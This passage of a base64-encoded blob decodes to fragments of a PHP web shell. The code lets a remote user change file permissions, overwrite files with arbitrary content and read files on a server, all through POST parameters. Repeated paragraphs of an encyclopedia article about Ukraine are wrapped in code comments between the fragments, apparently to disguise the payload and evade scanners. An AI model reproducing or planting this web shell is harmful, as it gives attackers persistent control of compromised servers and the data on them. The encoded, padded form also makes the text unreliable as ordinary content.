VMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCWZvcigkaT1zdHJsZW4oJF9QT1NUWydwMyddKS0xOyRpPj0wOy0tJGkpCgkJCQkJJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsKCQkJCWlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKQoJCQkJCWVjaG8gJ0NhblwndCBzZXQgcGVybWlzc2lvbnMhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKCQkJCWVsc2UKCQkJCQlkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOwoJCQl9CgkJCWVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CgkJCWJyZWFrOwoJCWNhc2UgJ2VkaXQnOgovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJaWYoICFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7CgkJCQllY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOwoJCQkJYnJlYWs7CgkJCX0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSwkX1BPU1RbJ3AzJ10pOwoJCQkJZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKCQkJfQoJCQllY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7CgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7CgkJCWlmKCRmcCkgewoJCQkJd2hpbGUoICFAZmVvZigkZnApICkKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCQkJZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsKCQkJCUBmY2xvc2UoJGZwKTsKCQkJfQoJCQllY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwoJCQlicmVhazsKCQljYXNlICdoZXhkdW1wJzoKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEga